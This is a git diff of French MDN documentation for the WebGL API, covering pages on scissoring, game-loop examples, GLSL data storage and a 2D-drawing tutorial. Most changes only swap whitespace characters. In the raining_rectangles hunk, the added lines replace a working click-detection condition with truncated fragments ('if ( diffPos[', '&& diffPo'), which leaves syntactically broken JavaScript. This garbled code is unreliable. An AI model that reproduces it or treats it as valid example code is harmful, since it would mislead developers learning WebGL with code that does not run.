{{domxref("WebGLVertexArrayObject")}} donné. - {{domxref("WebGL2RenderingContext.isVertexArray()")}} - : Retourne `true` si l'objet donné est un {{domxref ("WebGLVertexArrayObject")}} valide. - {{domxref("WebGL2RenderingContext.bindVertexArray()")}} diff --git a/files/fr/web/api/webgl_api/by_example/basic_scissoring/index.md b/files/fr/web/api/webgl_api/by_example/basic_scissoring/index.md index b4abf46df9..5909544024 100644 --- a/files/fr/web/api/webgl_api/by_example/basic_scissoring/index.md +++ b/files/fr/web/api/webgl_api/by_example/basic_scissoring/index.md @@ -23,15 +23,15 @@ Dans cet article, on illustre comment dessiner des rectangles et des carrés gr Voici une démonstration simple des opérations appliquées sur le contexte de rendu avec la méthode {{domxref("WebGLRenderingContext.scissor","scissor")}}. -La commande {{domxref("WebGLRenderingContext.clear","clear()")}} permet de dessiner la couleur d'applique (définie à l'aide de {{domxref("WebGLRenderingContext.clearColor","clearColor()")}}) sur tous les pixels du tampon (_buffer_) de dessin. La commande {{domxref("WebGLRenderingContext.scissor","scissor()")}} permet quant à elle de définir un masque qui permet de ne modifier que les pixels contenus dans un rectangle donné. +La commande {{domxref("WebGLRenderingContext.clear","clear()")}} permet de dessiner la couleur d'applique (définie à l'aide de {{domxref("WebGLRenderingContext.clearColor","clearColor()")}}) sur tous les pixels du tampon (_buffer_) de dessin. La commande {{domxref("WebGLRenderingContext.scissor","scissor()")}} permet quant à elle de définir un masque qui permet de ne modifier que les pixels contenus dans un rectangle donné. Cet article représente une excellente occasion pour distinguer les _pixels_ des _fragments_. Un pixel est un élément d'une image (en pratique c'est un point) sur l'écran ou un élément unique du tampon de dessin (l'espace mémoire qui contient les données relatives aux pixels comme les différentes composantes couleur). Un _fragment_ fait référence au pixel manipulé par les processus {{Glossary("WebGL")}}. Cette distinction existe car la couleur d'un fragment (et ses autres caractéristiques comme la profondeur) peut être manipulée et modifiée à plusieurs reprises avant d'être écrite à l'écran. On a déjà vu comment la couleur d'un fragment pouvait être modifiée au cours des opérations graphiques en appliquant un {{domxref("WebGLRenderingContext.colorMask()","masque de couleur", "", 1)}}. Il existe d'autres cas où les fragments sont ignorés (le pixel n'est pass mis à jour) ou d'autres où ils interagissent avec la valeur du pixel existant (afin de fusionner les couleurs pour les éléments transparents qui composent une scène). -Ici, on voit une autre distinction entre les fragments et les pixels. La découpe est une étape distincte du processus graphique de {{Glossary("WebGL")}}/{{Glossary("OpenGL")}} (elle est traitée après l'applique de couleur et avant le masque de couleur). Avant que les pixels réels soient mis à jour, les fragments doivent passer le test de la découpe. S'ils réussissent ce test, ils continuent dans le processus de traitement et les pixels correspondants sont mis à jours. S'ils échouent, le processus rejette les fragments et ils ne sont plus gérés pour les traitements ultérieurs, les pixels correspondants ne seront pas mis à jour. Seuls les fragments appartenant à la zone rectangulaire donnée réussissent le test et seuls les pixels correspondants sont mis à jour. Au final, on obtient un rectangle qui est dessiné à l'écran. +Ici, on voit une autre distinction entre les fragments et les pixels. La découpe est une étape distincte du processus graphique de {{Glossary("WebGL")}}/{{Glossary("OpenGL")}} (elle est traitée après l'applique de couleur et avant le masque de couleur). Avant que les pixels réels soient mis à jour, les fragments doivent passer le test de la découpe. S'ils réussissent ce test, ils continuent dans le processus de traitement et les pixels correspondants sont mis à jours. S'ils échouent, le processus rejette les fragments et ils ne sont plus gérés pour les traitements ultérieurs, les pixels correspondants ne seront pas mis à jour. Seuls les fragments appartenant à la zone rectangulaire donnée réussissent le test et seuls les pixels correspondants sont mis à jour. Au final, on obtient un rectangle qui est dessiné à l'écran. -Par défaut, l'étape de découpe est désactivée dans le processus. Ici, on l'active avec la méthode {{domxref("WebGLRenderingContext.enable","enable()")}} (`enable()` sera utilisée pour activer de nombreuses autres fonctionnalités liées à WebGL) avec la constante `SCISSOR_TEST`. Là aussi, on voit l'ordre généralement utilisé pour les commandes {{Glossary("WebGL")}}. Tout d'abord, on modifie l'état de WebGL (ici on active le test de découpe et on crée un masque rectangulaire). Une fois que l'état a bien été modifié, on exécute les commandes de dessin (ici `clear()`) pour commencer le processus de traitement des fragments. +Par défaut, l'étape de découpe est désactivée dans le processus. Ici, on l'active avec la méthode {{domxref("WebGLRenderingContext.enable","enable()")}} (`enable()` sera utilisée pour activer de nombreuses autres fonctionnalités liées à WebGL) avec la constante `SCISSOR_TEST`. Là aussi, on voit l'ordre généralement utilisé pour les commandes {{Glossary("WebGL")}}. Tout d'abord, on modifie l'état de WebGL (ici on active le test de découpe et on crée un masque rectangulaire). Une fois que l'état a bien été modifié, on exécute les commandes de dessin (ici `clear()`) pour commencer le processus de traitement des fragments. ```html <p>Le résultat de la découpe.</p> diff --git a/files/fr/web/api/webgl_api/by_example/boilerplate_1/index.md b/files/fr/web/api/webgl_api/by_example/boilerplate_1/index.md index 5a007a9434..5ee0933158 100644 --- a/files/fr/web/api/webgl_api/by_example/boilerplate_1/index.md +++ b/files/fr/web/api/webgl_api/by_example/boilerplate_1/index.md @@ -37,7 +37,7 @@ Dans les exemples suivants, on utilisera la fonction utilitaire JavaScript `getR - Nettoie le buffer avec `clear` - Applique le contexte initialisé -S'il y a une erreur, la fonction affiche un message d'erreur et renvoie `null`. +S'il y a une erreur, la fonction affiche un message d'erreur et renvoie `null`. Enfin, tout le code JavaScript est exécuté par une fonction immédiatement appelée (une technique plutôt commune avec JavaScript). La déclaration de la fonction et son invocation seront cachées. diff --git a/files/fr/web/api/webgl_api/by_example/clearing_by_clicking/index.md b/files/fr/web/api/webgl_api/by_example/clearing_by_clicking/index.md index 82f6d06ef7..04823c499b 100644 --- a/files/fr/web/api/webgl_api/by_example/clearing_by_clicking/index.md +++ b/files/fr/web/api/webgl_api/by_example/clearing_by_clicking/index.md @@ -66,8 +66,8 @@ canvas { window.addEventListener("load", function setupWebGL (evt) { "use strict" - // On fait le ménage : le gestionnaire se supprime lui- - // même car il n'a besoin d'être exécuté qu'une fois. + // On fait le ménage : le gestionnaire se supprime lui- + // même car il n'a besoin d'être exécuté qu'une fois. window.removeEventListener(evt.type, setupWebGL, false); // On ajoute le même gestionnaire de clic sur le canevas @@ -92,8 +92,8 @@ window.addEventListener("load", function setupWebGL (evt) { || canvas.getContext("experimental-webgl"); if (!gl) { alert("Échec de la récupération du \n" - + "contexte WebGL. Votre navigateur peut ne pas \n" - + " supporter WebGL."); + + "contexte WebGL. Votre navigateur peut ne pas \n" + + " supporter WebGL."); return; } gl.viewport(0, 0, diff --git a/files/fr/web/api/webgl_api/by_example/raining_rectangles/index.md b/files/fr/web/api/webgl_api/by_example/raining_rectangles/index.md index 4064bb708f..2628ebf301 100644 --- a/files/fr/web/api/webgl_api/by_example/raining_rectangles/index.md +++ b/files/fr/web/api/webgl_api/by_example/raining_rectangles/index.md @@ -25,7 +25,7 @@ Voici un jeu simple où il faut essayer de cliquer sur les rectangles qui tomben Dans cet exemple, on combine l'applique de couleurs unis dans le tampon de dessin et des opérations de découpe. C'est un aperçu d'une application graphique complète qui manipule les différentes phases des processus {{Glossary("WebGL")}} et de son automate. -De plus, cet exmple illustre comment intégrer des fonctions WebGL dans une boucle de jeu. La boucle de jeu est responsable du dessin pour l'animation, de la gestion des entrées utilisateur et de la réactivité de l'ensemble. Voici comment la boucle de jeu est implémentée avec des `setTimeout`. +De plus, cet exmple illustre comment intégrer des fonctions WebGL dans une boucle de jeu. La boucle de jeu est responsable du dessin pour l'animation, de la gestion des entrées utilisateur et de la réactivité de l'ensemble. Voici comment la boucle de jeu est implémentée avec des `setTimeout`. ```html hidden <p>Vous en avez attrapé @@ -116,14 +116,14 @@ function playerClick (evt) { ]; // si le clic est sur un rectangle, on l'attrape. // On incrémente donc le score et on crée un nouveau rectangle - var diffPos = [ position[0] - rainingRect.position[0], - position[1] - rainingRect.position[1] ]; - if ( diffPos[0] >= 0 && diffPos[0] < rainingRect.size[0] - && diffPos[1] >= 0 && diffPos[1] < rainingRect.size[1] ) { - score += 1; - scoreDisplay.innerHTML = score; - rainingRect = new Rectangle(); - } + var diffPos = [ position[0] - rainingRect.position[0], + position[1] - rainingRect.position[1] ]; + if ( diffPos[ + && diffPo + score += 1; + scoreDisplay.innerHTML = score; + rainingRect = new Rectangle(); + } } function Rectangle () { diff --git a/files/fr/web/api/webgl_api/data/index.md b/files/fr/web/api/webgl_api/data/index.md index b122c4a378..b3bea5e383 100644 --- a/files/fr/web/api/webgl_api/data/index.md +++ b/files/fr/web/api/webgl_api/data/index.md @@ -20,25 +20,25 @@ original_slug: Web/API/WebGL_API/Données --- {{WebGLSidebar}}{{draft}} -Les programmes shaders ont accès à trois types de stockage de données, chacun d'entre eux ayant un usage particulier. Chaque type de variable est accessible par l'un des types de programmes de shader ou par les deux (en fonction du type de stockage de données), et éventuellement, par le code JavaScript du site, suivant le type de variable particulier. +Les programmes shaders ont accès à trois types de stockage de données, chacun d'entre eux ayant un usage particulier. Chaque type de variable est accessible par l'un des types de programmes de shader ou par les deux (en fonction du type de stockage de données), et éventuellement, par le code JavaScript du site, suivant le type de variable particulier. ## Types de données GLSL -<\<documenter les types de base, les vecteurs, etc. ; voir [Data Type (GLSL)](<https://www.khronos.org/opengl/wiki/Data_Type_(GLSL)>) sur le wiki WebGL de Khronos >> +<\<documenter les types de base, les vecteurs, etc. ; voir [Data Type (GLSL)](<https://www.khronos.org/opengl/wiki/Data_Type_(GLSL)>) sur le wiki WebGL de Khronos >> ## Variables GLSL -Il existe trois types de stockage "variable" ou de stockage de données dans GLSL, chacun ayant son propre but et ses propres cas d'utilisation : **{{anch("Attributes", "attributes")}}**, **{{anch("Varyings", "varyings")}}**, et **{{anch("Uniforms", "uniforms")}}**. +Il existe trois types de stockage "variable" ou de stockage de données dans GLSL, chacun ayant son propre but et ses propres cas d'utilisation : **{{anch("Attributes", "attributes")}}**, **{{anch("Varyings", "varyings")}}**, et **{{anch("Uniforms", "uniforms")}}**. ### Attributes -Les **attributes** sont des variables GLSL qui ne sont disponibles que pour le shader de sommet (en tant que variables) et le code JavaScript. Les attributs sont généralement utilisés pour stocker des informations de couleur, des coordonnées de texture et toutes les autres données calculées ou récupérées qui doivent être partagées entre le code JavaScript et le shader de sommet. +Les **attributes** sont des variables GLSL qui ne sont disponibles que pour le shader de sommet (en tant que variables) et le code JavaScript. Les attributs sont généralement utilisés pour stocker des informations de couleur, des coordonnées de texture et toutes les autres données calculées ou récupérées qui doivent être partagées entre le code JavaScript et le shader de sommet. <\<add how to use them>> ### Varyings -Les **varyings** sont des variables déclarées par le shader de sommet et elle sont utilisées pour transmettre des données du shader de sommet au shader de fragment. Ceci est communément utilisé pour partager un sommet {{interwiki ("wikipedia", "Normal_ (géométrie)", "vecteur normal")}} après qu'il a été calculé par le shader de sommet. +Les **varyings** sont des variables déclarées par le shader de sommet et elle sont utilisées pour transmettre des données du shader de sommet au shader de fragment. Ceci est communément utilisé pour partager un sommet {{interwiki ("wikipedia", "Normal_ (géométrie)", "vecteur normal")}} après qu'il a été calculé par le shader de sommet. <\<how to use>> diff --git a/files/fr/web/api/webgl_api/index.md b/files/fr/web/api/webgl_api/index.md index 782877cdae..5dc90f1dc9 100644 --- a/files/fr/web/api/webgl_api/index.md +++ b/files/fr/web/api/webgl_api/index.md @@ -18,7 +18,7 @@ translation_of: Web/API/WebGL_API Le support pour WebGL est présent dans [Firefox](/fr/docs/Mozilla/Firefox) 4+, [Google Chrome](https://www.google.com/chrome/) 9+, [Opera](https://www.opera.com/fr) 12+, [Safari](https://www.apple.com/fr/safari/) 5.1+, [Internet Explorer](https://support.microsoft.com/fr-fr/windows/aide-d-internet-explorer-23360e49-9cd3-4dda-ba52-705336cc0de2) 11+ et les versions 10240+ de [Microsoft Edge](https://www.microsoft.com/fr-fr/edge) ; toutefois, l'appareil de l'utilisatrice ou l'utilisateur doit aussi avoir le matériel qui supporte ces fonctionnalités. -L'élément {{HTMLElement("canvas")}} est aussi utilisé par [Canvas 2D](/fr-FR/docs/Web/API/Canvas_API) pour faire des graphismes 2D sur les pages web. +L'élément {{HTMLElement("canvas")}} est aussi utilisé par [Canvas 2D](/fr-FR/docs/Web/API/Canvas_API) pour faire des graphismes 2D sur les pages web. ## Référence @@ -80,69 +80,69 @@ L'élément {{HTMLElement("canvas")}} est aussi utilisé par [Canvas 2D](/fr-FR - {{Event("webglcontextrestored")}} - {{Event("webglcontextcreationerror")}} -### Constantes et types +### Constantes et types - [Constantes WebGL](/fr-FR/docs/Web/API/WebGL_API/Constants) - [Types WebGL](/fr-FR/docs/Web/API/WebGL_API/Types) ### WebGL 2 -WebGL 2 est une mise à jour majeure de WebGL, qui est fournie à travers l'interface {{domxref("WebGL2RenderingContext")}}. Elle est basée sur OpenGL ES 3.0, et ses nouvelles fonctionnalités comprennent : +WebGL 2 est une mise à jour majeure de WebGL, qui est fournie à travers l'interface {{domxref("WebGL2RenderingContext")}}. Elle est basée sur OpenGL ES 3.0, et ses nouvelles fonctionnalités comprennent : -- les [textures 3D](/fr-FR/docs/Web/API/WebGL2RenderingContext/texImage3D), -- les [objets Sampler](/fr-FR/docs/Web/API/WebGLSampler), -- les [objets de tampon Uniform](/fr-FR/docs/Web/API/WebGL2RenderingContext#Uniform_buffer_objects), -- les [objets Sync](/fr-FR/docs/Web/API/WebGLSync), -- les [objets Query](/en-US/docs/Web/API/WebGLQuery), -- les [objets Tranform Feedback](/fr-FR/docs/Web/API/WebGLTransformFeedback), -- des extensions promues, qui sont maintenant essentielles pour WebGL 2 : les [objets Vertex Array](/fr-FR/docs/Web/API/WebGLVertexArrayObject), l'[instanciation](/fr-FR/docs/Web/API/WebGL2RenderingContext/drawArraysInstanced), les [cibles de rendu multiples](/fr-FR/docs/Web/API/WebGL2RenderingContext/drawBuffers), la [profondeur de fragment](/fr-FR/docs/Web/API/EXT_frag_depth). +- les [textures 3D](/fr-FR/docs/Web/API/WebGL2RenderingContext/texImage3D), +- les [objets Sampler](/fr-FR/docs/Web/API/WebGLSampler), +- les [objets de tampon Uniform](/fr-FR/docs/Web/API/WebGL2RenderingContext#Uniform_buffer_objects), +- les [objets Sync](/fr-FR/docs/Web/API/WebGLSync), +- les [objets Query](/en-US/docs/Web/API/WebGLQuery), +- les [objets Tranform Feedback](/fr-FR/docs/Web/API/WebGLTransformFeedback), +- des extensions promues, qui sont maintenant essentielles pour WebGL 2 : les [objets Vertex Array](/fr-FR/docs/Web/API/WebGLVertexArrayObject), l'[instanciation](/fr-FR/docs/Web/API/WebGL2RenderingContext/drawArraysInstanced), les [cibles de rendu multiples](/fr-FR/docs/Web/API/WebGL2RenderingContext/drawBuffers), la [profondeur de fragment](/fr-FR/docs/Web/API/EXT_frag_depth). -Voir aussi le post de blog ["WebGL 2 lands in Firefox"](https://hacks.mozilla.org/2017/01/webgl-2-lands-in-firefox/) et [webglsamples.org/WebGL2Samples](http://webglsamples.org/WebGL2Samples/) pour quelques démos. +Voir aussi le post de blog ["WebGL 2 lands in Firefox"](https://hacks.mozilla.org/2017/01/webgl-2-lands-in-firefox/) et [webglsamples.org/WebGL2Samples](http://webglsamples.org/WebGL2Samples/) pour quelques démos. -## Guides et tutoriels +## Guides et tutoriels -Ci-dessous, vous pourrez trouver divers guides pour vous aider à apprendre les concepts WebGL, et des tutoriels qui proposent des leçons et des exemples pas-à-pas. +Ci-dessous, vous pourrez trouver divers guides pour vous aider à apprendre les concepts WebGL, et des tutoriels qui proposent des leçons et des exemples pas-à-pas. ### Guides -- [Données en WebGL](/fr-FR/docs/Web/API/WebGL_API/Data) - - : Un guide pour les variables, les tampons et autres types de données utilisés lors de l'écriture de code WebGL. +- [Données en WebGL](/fr-FR/docs/Web/API/WebGL_API/Data) + - : Un guide pour les variables, les tampons et autres types de données utilisés lors de l'écriture de code WebGL. - [Meilleures pratiques WebGL](/fr-FR/docs/Web/API/WebGL_API/WebGL_best_practices) - - : Des indications et des suggestions pour vous aider à améliore la qualité, les performances et la fiabilité de votre contenu WebGL. + - : Des indications et des suggestions pour vous aider à améliore la qualité, les performances et la fiabilité de votre contenu WebGL. - [Utilisation des extensions](/fr-FR/docs/Web/API/WebGL_API/Using_Extensions) - - : Un guide pour l'utilisation des extensions WebGL. + - : Un guide pour l'utilisation des extensions WebGL. ### Tutoriels - [Tutoriel WebGL](/fr-FR/docs/Web/API/WebGL_API/Tutorial) - - : Un guide pour les débutants sur les concepts essentiels de WebGL. Un bon endroit pour démarrer si vous n'avez pas d'expérience antérieure de WebGL. + - : Un guide pour les débutants sur les concepts essentiels de WebGL. Un bon endroit pour démarrer si vous n'avez pas d'expérience antérieure de WebGL. ### Exemples -- [Un exemple de base d'animation WebGL 2D](/fr-FR/docs/Web/API/WebGL_API/Basic_2D_animation_example) - - : Cet exemple montre l'animation simple d'une forme monochrome. Les sujets abordés sont l'adaptation aux différences de ratio d'aspect, une fonction pour construire des programmes de shader à partir d'ensembles de plusieurs shaders, et les bases du dessin dans WebGL. +- [Un exemple de base d'animation WebGL 2D](/fr-FR/docs/Web/API/WebGL_API/Basic_2D_animation_example) + - : Cet exemple montre l'animation simple d'une forme monochrome. Les sujets abordés sont l'adaptation aux différences de ratio d'aspect, une fonction pour construire des programmes de shader à partir d'ensembles de plusieurs shaders, et les bases du dessin dans WebGL. ### Tutoriels avancés - [Projection de vue de modèle WebGL](/fr-FR/docs/Web/API/WebGL_API/WebGL_model_view_projection) - - : Une explication détaillée des trois matrices de base qui sont typiquement utilisées pour représenter une vue d'un objet 3D : les matrices de modèle, de vue et de projection. -- [Mathématiques matricielles pour le web](/fr-FR/docs/Web/API/WebGL_API/Matrix_math_for_the_web) - - : Un guide utile sur le fonctionnement des matrices de transformation 3D, qui peut être utilisé sur le web - à la fois pour les calculs WebGL et dans les transformations CSS3. + - : Une explication détaillée des trois matrices de base qui sont typiquement utilisées pour représenter une vue d'un objet 3D : les matrices de modèle, de vue et de projection. +- [Mathématiques matricielles pour le web](/fr-FR/docs/Web/API/WebGL_API/Matrix_math_for_the_web) + - : Un guide utile sur le fonctionnement des matrices de transformation 3D, qui peut être utilisé sur le web - à la fois pour les calculs WebGL et dans les transformations CSS3. ## Ressources -- [Raw WebGL: An introduction to WebGL](https://www.youtube.com/embed/H4c8t6myAWU/?feature=player_detailpage) Une conférence de Nick Desaulniers qui présente les bases de WebGL. C'est un bon endroit pour commencer si vous n'avez jamais fait de programmation graphique de bas niveau. -- [Khronos WebGL site](http://www.khronos.org/webgl/) Le site principal pour WebGL chez le groupe Khronos. -- [Learning WebGL](http://learningwebgl.com/blog/?page_id=1217) Un site proposant des tutoriels sur la façon d'utiliser WebGL. -- [WebGL Fundamentals](http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/) Un tutoriel de base sur les fondamentaux de WebGL. -- [WebGL playground](http://webglplayground.net/) Un outil en ligne pour créer et partager des projets WebGL. Bon pour le prototypage rapide et l'expérimentation. -- [WebGL Academy](http://www.webglacademy.com/) Un éditeur HTML / JavaScript proposant des tutoriels pour apprendre les bases de la programmation webgl. -- [WebGL Stats](http://webglstats.com/) Un site proposant des statistiques sur les possibilités WebGL des navigateurs sur différentes plates-formes. +- [Raw WebGL: An introduction to WebGL](https://www.youtube.com/embed/H4c8t6myAWU/?feature=player_detailpage) Une conférence de Nick Desaulniers qui présente les bases de WebGL. C'est un bon endroit pour commencer si vous n'avez jamais fait de programmation graphique de bas niveau. +- [Khronos WebGL site](http://www.khronos.org/webgl/) Le site principal pour WebGL chez le groupe Khronos. +- [Learning WebGL](http://learningwebgl.com/blog/?page_id=1217) Un site proposant des tutoriels sur la façon d'utiliser WebGL. +- [WebGL Fundamentals](http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/) Un tutoriel de base sur les fondamentaux de WebGL. +- [WebGL playground](http://webglplayground.net/) Un outil en ligne pour créer et partager des projets WebGL. Bon pour le prototypage rapide et l'expérimentation. +- [WebGL Academy](http://www.webglacademy.com/) Un éditeur HTML / JavaScript proposant des tutoriels pour apprendre les bases de la programmation webgl. +- [WebGL Stats](http://webglstats.com/) Un site proposant des statistiques sur les possibilités WebGL des navigateurs sur différentes plates-formes. ### Bibliothèques -- [glMatrix](https://github.com/toji/gl-matrix) Bibliothèque matricielle et vectorielle JavaScript pour les applications WebGL hautes performances -- [Sylvester](http://sylvester.jcoglan.com/) Une bibliothèque open source pour manipuler des vecteurs et des matrices. Non optimisée pour WebGL mais extrêmement robuste. +- [glMatrix](https://github.com/toji/gl-matrix) Bibliothèque matricielle et vectorielle JavaScript pour les applications WebGL hautes performances +- [Sylvester](http://sylvester.jcoglan.com/) Une bibliothèque open source pour manipuler des vecteurs et des matrices. Non optimisée pour WebGL mais extrêmement robuste. ## Spécifications @@ -150,8 +150,8 @@ Ci-dessous, vous pourrez trouver divers guides pour vous aider à apprendre les | ---------------------------------------- | ------------------------------------ | --------------------------------------------------------- | | {{SpecName('WebGL')}} | {{Spec2('WebGL')}} | Définition. Basée sur OpenGL ES 2.0 | | {{SpecName('WebGL2')}} | {{Spec2('WebGL2')}} | Construite au-dessus de WebGL 1. Basée sur OpenGL ES 3.0. | -| {{SpecName('OpenGL ES 2.0')}} | {{Spec2('OpenGL ES 2.0')}} | | -| {{SpecName('OpenGL ES 3.0')}} | {{Spec2('OpenGL ES 3.0')}} | | +| {{SpecName('OpenGL ES 2.0')}} | {{Spec2('OpenGL ES 2.0')}} | | +| {{SpecName('OpenGL ES 3.0')}} | {{Spec2('OpenGL ES 3.0')}} | | ## Compatibilité des navigateurs @@ -165,7 +165,7 @@ Ci-dessous, vous pourrez trouver divers guides pour vous aider à apprendre les ### Notes de compatibilité -En plus du navigateur, la GPU elle-même doit également prendre en charge la fonctionnalité. Ainsi, par exemple, S3 Texture Compression (S3TC) n'est disponible que sur les tablettes à base de Tegra. La plupart des navigateurs rendent le contexte WebGL disponible via le nom de contexte `webgl`, mais les plus anciens ont aussi besoin d'`experimental-webgl`. De plus, le prochain [WebGL 2](/fr-FR/docs/Web/API/WebGL2RenderingContext) sera entièrement rétrocompatible et comprendra le nom de contexte `webgl2`. +En plus du navigateur, la GPU elle-même doit également prendre en charge la fonctionnalité. Ainsi, par exemple, S3 Texture Compression (S3TC) n'est disponible que sur les tablettes à base de Tegra. La plupart des navigateurs rendent le contexte WebGL disponible via le nom de contexte `webgl`, mais les plus anciens ont aussi besoin d'`experimental-webgl`. De plus, le prochain [WebGL 2](/fr-FR/docs/Web/API/WebGL2RenderingContext) sera entièrement rétrocompatible et comprendra le nom de contexte `webgl2`. ### Notes Gecko @@ -174,11 +174,11 @@ En plus du navigateur, la GPU elle-même doit également prendre en charge la f À partir de Gecko 10.0 {{geckoRelease("10.0")}}, deux préférences sont disponibles pour vous permettre de contrôler les fonctionnalités de WebGL à des fins de test : - `webgl.min_capability_mode` - - : Propriété booléenne qui, lorsqu'elle est `true`, active un mode de possibilités minimales. Dans ce mode, WebGL est configuré pour prendre en charge uniquement le jeu de fonctionnalités minimal et les fonctionnalités requises par la spécification WebGL. Cela vous permet de vous assurer que votre code WebGL fonctionnera sur n'importe quel appareil ou navigateur, indépendamment de leurs possibilités. Elle est `false` par défaut. + - : Propriété booléenne qui, lorsqu'elle est `true`, active un mode de possibilités minimales. Dans ce mode, WebGL est configuré pour prendre en charge uniquement le jeu de fonctionnalités minimal et les fonctionnalités requises par la spécification WebGL. Cela vous permet de vous assurer que votre code WebGL fonctionnera sur n'importe quel appareil ou navigateur, indépendamment de leurs possibilités. Elle est `false` par défaut. - `webgl.disable_extensions` - - : Propriété booléenne qui, lorsqu'elle est `true`, désactive toutes les extensions WebGL. Elle est `false` par défaut. + - : Propriété booléenne qui, lorsqu'elle est `true`, désactive toutes les extensions WebGL. Elle est `false` par défaut. ## Voir aussi - [Canvas](/fr-FR/docs/Web/API/Canvas_API) -- [Informations de compatibilité à propos des extensions WebGL](/fr-FR/docs/Web/API/WebGLRenderingContext/getSupportedExtensions#Browser_compatibility) +- [Informations de compatibilité à propos des extensions WebGL](/fr-FR/docs/Web/API/WebGLRenderingContext/getSupportedExtensions#Browser_compatibility) diff --git a/files/fr/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.md b/files/fr/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.md index 4beb39300e..3b5ab22a47 100644 --- a/files/fr/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.md +++ b/files/fr/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.md @@ -17,29 +17,29 @@ original_slug: Web/API/WebGL_API/Tutorial/Ajouter_du_contenu_à_WebGL --- {{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}} -Une fois que vous avez correctement créé un contexte WebGL, vous pouvez commencer à y dessiner. Une chose simple que nous pouvons faire est de dessiner un simple carré 2D sans texture, commençons donc par là, en construisant un code pour dessiner un carré 2D. +Une fois que vous avez correctement créé un contexte WebGL, vous pouvez commencer à y dessiner. Une chose simple que nous pouvons faire est de dessiner un simple carré 2D sans texture, commençons donc par là, en construisant un code pour dessiner un carré 2D. -## Dessiner la scène +## Dessiner la scène -La chose la plus importante à comprendre avant que nous ne commencions est que, bien que nous dessinions seulement un carré 2D dans cet exemple, nous sommes toujours en train de dessiner dans un espace 3D. Nous dessinons juste un carré et nous le mettons exactement en face de la caméra, perpendiculairement à la direction de vision. Nous avons besoin de définir les shaders qui créeront la couleur pour notre scène simple, et qui dessineront notre objet. Cela définira comment notre carré 2D apparaîtra à l'écran. +La chose la plus importante à comprendre avant que nous ne commencions est que, bien que nous dessinions seulement un carré 2D dans cet exemple, nous sommes toujours en train de dessiner dans un espace 3D. Nous dessinons juste un carré et nous le mettons exactement en face de la caméra, perpendiculairement à la direction de vision. Nous avons besoin de définir les shaders qui créeront la couleur pour notre scène simple, et qui dessineront notre objet. Cela définira comment notre carré 2D apparaîtra à l'écran. ### Les shaders -Un shader est un programme, écrit en utilisant le [OpenGL ES Shading Language](https://www.khronos.org/files/opengles_shading_language.pdf) (GLSL), qui utilise les informations des sommets constituant une forme, et qui génère les données nécessaires pour faire un rendu des pixels à l'écran : nommément, les positions des pixels et leurs couleurs. +Un shader est un programme, écrit en utilisant le [OpenGL ES Shading Language](https://www.khronos.org/files/opengles_shading_language.pdf) (GLSL), qui utilise les informations des sommets constituant une forme, et qui génère les données nécessaires pour faire un rendu des pixels à l'écran : nommément, les positions des pixels et leurs couleurs. -Deux fonctions de shader sont exécutées lors du dessin d'un contenu WebGL : le **shader de sommet** et le **shader de fragment**. Vous les écrivez en GLSL et vous passez le texte du code à WebGL pour qu'il soit compilé pour exécution dans la GPU. Pris conjointement, un ensemble de shaders de sommet et de fragment sont appelés un **programme shader**. +Deux fonctions de shader sont exécutées lors du dessin d'un contenu WebGL : le **shader de sommet** et le **shader de fragment**. Vous les écrivez en GLSL et vous passez le texte du code à WebGL pour qu'il soit compilé pour exécution dans la GPU. Pris conjointement, un ensemble de shaders de sommet et de fragment sont appelés un **programme shader**. -Jetons un coup d'œil rapide aux deux types de shaders, en gardant présent à l'esprit l'exemple du dessin d'une forme 2D dans le contexte WebGL. +Jetons un coup d'œil rapide aux deux types de shaders, en gardant présent à l'esprit l'exemple du dessin d'une forme 2D dans le contexte WebGL. -#### Le shader de sommet +#### Le shader de sommet -Chaque fois qu'une forme est rendue, le shader de sommet est exécuté pour chaque sommet de la forme. Son travail consiste à effectuer les transformations souhaitées sur la position du sommet. +Chaque fois qu'une forme est rendue, le shader de sommet est exécuté pour chaque sommet de la forme. Son travail consiste à effectuer les transformations souhaitées sur la position du sommet. Les informations de position sont stockées dans une variable spéciale fournie par GLSL, appelée `gl_Position`. -Le shader de sommet peut, au besoin, aussi faire des choses comme déterminer les coordonnées dans la texture des faces du {{interwiki ("wikipedia", "texel")}} à appliquer au sommet, appliquer les normales pour déterminer le facteur d'éclairage à appliquer au sommet, et ainsi de suite. Ces informations peuvent alors être stockées dans des variations ou des attributs comme approprié, pour être partagées avec le shader de fragment. +Le shader de sommet peut, au besoin, aussi faire des choses comme déterminer les coordonnées dans la texture des faces du {{interwiki ("wikipedia", "texel")}} à appliquer au sommet, appliquer les normales pour déterminer le facteur d'éclairage à appliquer au sommet, et ainsi de suite. Ces informations peuvent alors être stockées dans des variations ou des attributs comme approprié, pour être partagées avec le shader de fragment. -Notre shader de sommet ci-dessous reçoit des valeurs de position de sommet à partir d'un attribut que nous définissons, appelé `aVertexPosition`. Cette position est ensuite multipliée par deux matrices 4x4 que nous fournissons, appelées `uProjectionMatrix` et `uModelMatrix` ; `gl_Position` est définie comme étant le résultat. Pour plus d'informations sur la projection et autres matrices, [vous pourriez trouver cet article utile](https://webglfundamentals.org/webgl/lessons/webgl-3d-perspective.html). +Notre shader de sommet ci-dessous reçoit des valeurs de position de sommet à partir d'un attribut que nous définissons, appelé `aVertexPosition`. Cette position est ensuite multipliée par deux matrices 4x4 que nous fournissons, appelées `uProjectionMatrix` et `uModelMatrix` ; `gl_Position` est définie comme étant le résultat. Pour plus d'informations sur la projection et autres matrices, [vous pourriez trouver cet article utile](https://webglfundamentals.org/webgl/lessons/webgl-3d-perspective.html). // Programme shader de sommet @@ -54,13 +54,13 @@ Notre shader de sommet ci-dessous reçoit des valeurs de position de sommet à } `; -Dans cet exemple, nous ne calculons pas d'éclairage du tout, puisque nous n'en avons pas encore appliqué à la scène. Cela viendra plus tard, dans l'exemple [Éclairage en WebGL](/fr-FR/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL). Notez également l'absence de tout travail sur les textures ici ; cela sera ajouté dans [Utilisation de textures en WebGL](/fr-FR/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL). +Dans cet exemple, nous ne calculons pas 